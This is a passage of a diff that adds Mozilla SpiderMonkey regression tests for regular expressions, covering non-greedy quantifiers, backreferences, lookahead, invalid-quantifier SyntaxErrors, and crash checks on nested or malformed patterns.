+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-105972.js b/js/src/tests/non262/RegExp/regress-105972.js
new file mode 100644
index 0000000000..ab6d46ba47
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-105972.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 22 October 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 105972:
+ * "/^.*?$/ will not match anything"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=105972
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 105972;
+var summary = 'Regression test for Bugzilla bug 105972';
+var cnEmptyString = '';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * The bug: this match was coming up null in Rhino and SpiderMonkey.
+ * It should match the whole string. The reason:
+ *
+ * The * operator is greedy, but *? is non-greedy: it will stop
+ * at the simplest match it can find. But the pattern here asks us
+ * to match till the end of the string. So the simplest match must
+ * go all the way out to the end, and *? has no choice but to do it.
+ */
+status = inSection(1);
+pattern = /^.*?$/;
+string = 'Hello World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+
+/*
+ * Leave off the '$' condition - here we expect the empty string.
+ * Unlike the above pattern, we don't have to match till the end of
+ * the string, so the non-greedy operator *? doesn't try to...
+ */
+status = inSection(2);
+pattern = /^.*?/;
+string = 'Hello World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(cnEmptyString);
+addThis();
+
+
+/*
+ * Try '$' combined with an 'or' operator.
+ *
+ * The operator *? will consume the string from left to right,
+ * attempting to satisfy the condition (:|$). When it hits ':',
+ * the match will stop because the operator *? is non-greedy.
+ *
+ * The submatch $1 = (:|$) will contain the ':'
+ */
+status = inSection(3);
+pattern = /^.*?(:|$)/;
+string = 'Hello: World';
+actualmatch = string.match(pattern);
+expectedmatch = Array('Hello:', ':');
+addThis();
+
+
+/*
+ * Again, '$' combined with an 'or' operator.
+ *
+ * The operator * will consume the string from left to right,
+ * attempting to satisfy the condition (:|$). When it hits ':',
+ * the match will not stop since * is greedy. The match will
+ * continue until it hits $, the end-of-string boundary.
+ *
+ * The submatch $1 = (:|$) will contain the empty string
+ * conceived to exist at the end-of-string boundary.
+ */
+status = inSection(4);
+pattern = /^.*(:|$)/;
+string = 'Hello: World';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, cnEmptyString);
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-119909.js b/js/src/tests/non262/RegExp/regress-119909.js
new file mode 100644
index 0000000000..21a8e7750d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-119909.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Jan 2002
+ * SUMMARY: Shouldn't crash on regexps with many nested parentheses
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=119909
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 119909;
+var summary = "Shouldn't crash on regexps with many nested parentheses";
+var NO_BACKREFS = false;
+var DO_BACKREFS = true;
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ testThis(500, NO_BACKREFS, 'hello', 'goodbye');
+ testThis(500, DO_BACKREFS, 'hello', 'goodbye');
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+/*
+ * Creates a regexp pattern like (((((((((hello)))))))))
+ * and tests str.search(), str.match(), str.replace()
+ */
+function testThis(numParens, doBackRefs, strOriginal, strReplace)
+{
+ var openParen = doBackRefs? '(' : '(?:';
+ var closeParen = ')';
+ var pattern = '';
+
+ for (var i=0; i<numParens; i++) {pattern += openParen;}
+ pattern += strOriginal;
+ for (i=0; i<numParens; i++) {pattern += closeParen;}
+ var re = new RegExp(pattern);
+
+ var res = strOriginal.search(re);
+ res = strOriginal.match(re);
+ res = strOriginal.replace(re, strReplace);
+}
diff --git a/js/src/tests/non262/RegExp/regress-122076.js b/js/src/tests/non262/RegExp/regress-122076.js
new file mode 100644
index 0000000000..d4b16dbd9b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-122076.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 Feb 2002
+ * SUMMARY: Don't crash on invalid regexp literals / \\/ /
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=122076
+ * The function checkURL() below sometimes caused a compile-time error:
+ *
+ * SyntaxError: unterminated parenthetical (:
+ *
+ * However, sometimes it would cause a crash instead. The presence of
+ * other functions below is merely fodder to help provoke the crash.
+ * The constant |STRESS| is number of times we'll try to crash on this.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 122076;
+var summary = "Don't crash on invalid regexp literals / \\/ /";
+var STRESS = 10;
+var sEval = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+sEval += 'function checkDate()'
+sEval += '{'
+sEval += 'return (this.value.search(/^[012]?\d\/[0123]?\d\/[0]\d$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkDNSName()'
+sEval += '{'
+sEval += ' return (this.value.search(/^([\w\-]+\.)+([\w\-]{2,3})$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkEmail()'
+sEval += '{'
+sEval += ' return (this.value.search(/^([\w\-]+\.)*[\w\-]+@([\w\-]+\.)+([\w\-]{2,3})$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkHostOrIP()'
+sEval += '{'
+sEval += ' if (this.value.search(/^([\w\-]+\.)+([\w\-]{2,3})$/) == -1)'
+sEval += ' return (this.value.search(/^[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}$/) != -1);'
+sEval += ' else'
+sEval += ' return true;'
+sEval += '}'
+
+sEval += 'function checkIPAddress()'
+sEval += '{'
+sEval += ' return (this.value.search(/^[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}\.[1-2]?\d{1,2}$/) != -1);'
+sEval += '}'
+
+sEval += 'function checkURL()'
+sEval += '{'
+sEval += ' return (this.value.search(/^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,4}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\/\*\$+@&#;`~=%!]*)(\.\w{2,})?)*\/?)$/) != -1);'
+sEval += '}'
+
+
+for (var i=0; i<STRESS; i++)
+{
+ try
+ {
+ eval(sEval);
+ }
+ catch(e)
+ {
+ }
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/RegExp/regress-123437.js b/js/src/tests/non262/RegExp/regress-123437.js
new file mode 100644
index 0000000000..3a07584064
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-123437.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Feb 2002
+ * SUMMARY: regexp backreferences must hold |undefined| if not used
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123437 (SpiderMonkey)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123439 (Rhino)
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 123437;
+var summary = 'regexp backreferences must hold |undefined| if not used';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /(a)?a/;
+string = 'a';
+status = inSection(1);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+pattern = /a|(b)/;
+string = 'a';
+status = inSection(2);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+pattern = /(a)?(a)/;
+string = 'a';
+status = inSection(3);
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined, 'a');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-165353.js b/js/src/tests/non262/RegExp/regress-165353.js
new file mode 100644
index 0000000000..e95f1514b3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-165353.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 August 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=165353
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 165353;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^([a-z]+)*[a-z]$/;
+status = inSection(1);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', undefined);
+addThis();
+
+status = inSection(2);
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', 'a');
+addThis();
+
+status = inSection(3);
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'ab');
+addThis();
+
+
+string = 'www.netscape.com';
+status = inSection(4);
+pattern = /^(([a-z]+)*[a-z]\.)+[a-z]{2,}$/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('www.netscape.com', 'netscape.', 'netscap');
+addThis();
+
+// add one more capturing parens to the previous regexp -
+status = inSection(5);
+pattern = /^(([a-z]+)*([a-z])\.)+[a-z]{2,}$/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('www.netscape.com', 'netscape.', 'netscap', 'e');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-169497.js b/js/src/tests/non262/RegExp/regress-169497.js
new file mode 100644
index 0000000000..d4c7b668fa
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-169497.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 August 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169497
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 169497;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var sBody = '';
+var sHTML = '';
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+sBody += '<body onXXX="alert(event.type);">\n';
+sBody += '<p>Kibology for all<\/p>\n';
+sBody += '<p>All for Kibology<\/p>\n';
+sBody += '<\/body>';
+
+sHTML += '<html>\n';
+sHTML += sBody;
+sHTML += '\n<\/html>';
+
+status = inSection(1);
+string = sHTML;
+pattern = /<body.*>((.*\n?)*?)<\/body>/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array(sBody, '\n<p>Kibology for all</p>\n<p>All for Kibology</p>\n', '<p>All for Kibology</p>\n');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-169534.js b/js/src/tests/non262/RegExp/regress-169534.js
new file mode 100644
index 0000000000..df011f2d32
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-169534.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 20 Sep 2002
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169534
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 169534;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var re = /(\|)([\w\x81-\xff ]*)(\|)([\/a-z][\w:\/\.]*\.[a-z]{3,4})(\|)/ig;
+var str = "To sign up click |here|https://www.xxxx.org/subscribe.htm|";
+actual = str.replace(re, '<a href="$4">$2</a>');
+expect = 'To sign up click <a href="https://www.xxxx.org/subscribe.htm">here</a>';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-187133.js b/js/src/tests/non262/RegExp/regress-187133.js
new file mode 100644
index 0000000000..3a939fc7bd
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-187133.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 January 2003
+ * SUMMARY: RegExp conformance test
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=187133
+ *
+ * The tests here employ the regular expression construct:
+ *
+ * (?!pattern)
+ *
+ * This is a "zero-width lookahead negative assertion".
+ * From the Perl documentation:
+ *
+ * For example, /foo(?!bar)/ matches any occurrence
+ * of 'foo' that isn't followed by 'bar'.
+ *
+ * It is "zero-width" means that it does not consume any characters and that
+ * the parens are non-capturing. A non-null match array in the example above
+ * will have only have length 1, not 2.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 187133;
+var summary = 'RegExp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /(\.(?!com|org)|\/)/;
+status = inSection(1);
+string = 'ah.info';
+actualmatch = string.match(pattern);
+expectedmatch = ['.', '.'];
+addThis();
+
+status = inSection(2);
+string = 'ah/info';
+actualmatch = string.match(pattern);
+expectedmatch = ['/', '/'];
+addThis();
+
+status = inSection(3);
+string = 'ah.com';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /(?!a|b)|c/;
+status = inSection(4);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+status = inSection(5);
+string = 'bc';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+status = inSection(6);
+string = 'd';
+actualmatch = string.match(pattern);
+expectedmatch = [''];
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-188206.js b/js/src/tests/non262/RegExp/regress-188206.js
new file mode 100644
index 0000000000..0ca4d46610
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-188206.js
@@ -0,0 +1,182 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 January 2003
+ * SUMMARY: Invalid use of regexp quantifiers should generate SyntaxErrors
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=188206
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=85721#c48 etc.
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=190685
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=197451
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * All the following are invalid uses of regexp quantifiers and
+ * should generate SyntaxErrors. That's what we're testing for.
+ *
+ * To allow the test to compile and run, we have to hide the errors
+ * inside eval strings, and check they are caught at run-time -
+ *
+ */
+status = inSection(1);
+testThis(' /a**/ ');
+
+status = inSection(2);
+testThis(' /a***/ ');
+
+status = inSection(3);
+testThis(' /a++/ ');
+
+status = inSection(4);
+testThis(' /a+++/ ');
+
+/*
+ * The ? quantifier, unlike * or +, may appear twice in succession.
+ * Thus we need at least three in a row to provoke a SyntaxError -
+ */
+
+status = inSection(5);
+testThis(' /a???/ ');
+
+status = inSection(6);
+testThis(' /a????/ ');
+
+
+/*
+ * Now do some weird things on the left side of the regexps -
+ */
+status = inSection(9);
+testThis(' /+a/ ');
+
+status = inSection(10);
+testThis(' /++a/ ');
+
+status = inSection(11);
+testThis(' /?a/ ');
+
+status = inSection(12);
+testThis(' /??a/ ');
+
+
+/*
+ * Misusing the {DecmalDigits} quantifier - according to BOTH ECMA and Perl.
+ *
+ * Just as with the * and + quantifiers above, can't have two {DecmalDigits}
+ * quantifiers in succession - it's a SyntaxError.
+ */
+status = inSection(28);
+testThis(' /x{1}{1}/ ');
+
+status = inSection(29);
+testThis(' /x{1,}{1}/ ');
+
+status = inSection(30);
+testThis(' /x{1,2}{1}/ ');
+
+status = inSection(31);
+testThis(' /x{1}{1,}/ ');
+
+status = inSection(32);
+testThis(' /x{1,}{1,}/ ');
+
+status = inSection(33);
+testThis(' /x{1,2}{1,}/ ');
+
+status = inSection(34);
+testThis(' /x{1}{1,2}/ ');
+
+status = inSection(35);
+testThis(' /x{1,}{1,2}/ ');
+
+status = inSection(36);
+testThis(' /x{1,2}{1,2}/ ');
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Allowed syntax shouldn't generate any errors
+ */
+function checkThis(sAllowedSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sAllowedSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-191479.js b/js/src/tests/non262/RegExp/regress-191479.js
new file mode 100644
index 0000000000..ca12f71877
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-191479.js
@@ -0,0 +1,162 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 January 2003
+ * SUMMARY: Testing regular expressions of form /(x|y){n,}/
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191479
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 191479;
+var summary = 'Testing regular expressions of form /(x|y){n,}/';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = '12 3 45';
+pattern = /(\d|\d\s){2,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(2);
+string = '12 3 45';
+pattern = /(\d|\d\s){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(3);
+string = '12 3 45';
+pattern = /(\d|\d\s)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(4);
+string = '12 3 45';
+pattern = /(\d\s?){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+/*
+ * Let's reverse the operands in Sections 1-3 above -
+ */
+status = inSection(5);
+string = '12 3 45';
+pattern = /(\d\s|\d){2,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(6);
+string = '12 3 45';
+pattern = /(\d\s|\d){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(7);
+string = '12 3 45';
+pattern = /(\d\s|\d)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+
+/*
+ * Let's take all 7 sections above and make each quantifer non-greedy.
+ *
+ * This is done by appending ? to it. It doesn't change the meaning of
+ * the quantifier, but makes it non-greedy, which affects the results -
+ */
+status = inSection(8);
+string = '12 3 45';
+pattern = /(\d|\d\s){2,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(9);
+string = '12 3 45';
+pattern = /(\d|\d\s){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(10);
+string = '12 3 45';
+pattern = /(\d|\d\s)+?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('1', '1');
+addThis();
+
+status = inSection(11);
+string = '12 3 45';
+pattern = /(\d\s?){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(12);
+string = '12 3 45';
+pattern = /(\d\s|\d){2,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 ', '2 ');
+addThis();
+
+status = inSection(13);
+string = '12 3 45';
+pattern = /(\d\s|\d){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(14);
+string = '12 3 45';
+pattern = /(\d\s|\d)+?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('1', '1');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-202564.js b/js/src/tests/non262/RegExp/regress-202564.js
new file mode 100644
index 0000000000..824ce21f03
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-202564.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 April 2003
+ * SUMMARY: Testing regexp with many backreferences
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202564
+ *
+ * Note that in Section 1 below, we expect the 1st and 4th backreferences
+ * to hold |undefined| instead of the empty strings one gets in Perl and IE6.
+ * This is because per ECMA, regexp backreferences must hold |undefined|
+ * if not used. See http://bugzilla.mozilla.org/show_bug.cgi?id=123437.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 202564;
+var summary = 'Testing regexp with many backreferences';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'Seattle, WA to Buckley, WA';
+pattern = /(?:(.+), )?(.+), (..) to (?:(.+), )?(.+), (..)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, undefined, "Seattle", "WA", undefined, "Buckley", "WA");
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-209067.js b/js/src/tests/non262/RegExp/regress-209067.js
new file mode 100644
index 0000000000..938cc165e9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-209067.js
@@ -0,0 +1,1069 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
